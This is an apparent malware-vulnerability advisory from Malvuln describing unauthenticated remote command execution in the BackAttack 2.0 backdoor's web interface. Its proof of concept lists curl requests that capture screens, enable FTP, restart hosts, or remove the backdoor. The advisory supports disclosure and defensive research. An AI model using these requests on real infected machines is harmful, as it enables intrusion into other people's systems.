Backdoor.Win32.BackAttack.20 Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/8b484576f928c256277016104cc364c2.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.BackAttack.20  
Vulnerability: Unauthenticated Remote Command Execution  
Description: BackAtTack 2.0 By CurrenTChaoSGroup(CCG) by default listens on TCP ports 80 and 11131. The malware features a remote web interface where you can control an infected host. Third party-attackers who can reach the system can run commands made available by the malware E.g. take screenshot, restart the system, enable FTP or even destroy the backdoor etc. The web UI does not require authentication to execute these commands.  
Type: PE32  
MD5: 8b484576f928c256277016104cc364c2  
Vuln ID: MVID-2021-0423  
Disclosure: 12/11/2021  
  
Exploit/PoC:  
Show Skeleton  
http://x.x.x.x/showskeleton  
  
Show Sex  
http://x.x.x.x/showsex  
  
Whos logged on  
curl http://x.x.x.x/whoisthere   
  
Screen capture  
curl http://x.x.x.x/capturescreen  
  
Enable FTP  
curl http://x.x.x.x/ftpon   
  
Restart host  
curl http://x.x.x.x/restart   
  
Destroy the backdoor  
curl http://x.x.x.x/destroyyes -v  
  
Destroy action has been executed! -Restart procedure initiated also-  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
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